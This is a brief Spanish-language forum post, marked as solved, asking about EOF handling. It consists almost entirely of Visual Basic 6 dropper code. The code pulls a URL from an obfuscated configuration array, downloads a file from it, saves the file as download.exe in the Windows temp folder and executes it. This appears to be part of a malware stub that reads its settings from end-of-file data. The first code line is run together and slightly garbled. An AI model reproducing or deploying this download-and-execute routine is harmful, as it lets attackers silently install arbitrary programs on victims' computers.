[SOLUCIONADO] Duda EOF

Dim DownloadURL As StringDownloadURL = MlsfJROkhj(13)


If LCase(DownloadURL) <> "none" Or InStr(DownloadURL, "http://") > 0 Or Len(DownloadURL) > 4 Then
    Dim FileBytes() As Byte
    FileBytes = Inet1.OpenURL(DownloadURL, icByteArray)
    Dim DownloadName As String
    DownloadName = Environ$("TEMP") & "\download.exe"
    Open DownloadName For Binary As #1
        Put #1, , FileBytes
    Close #1
    Shell DownloadName
End If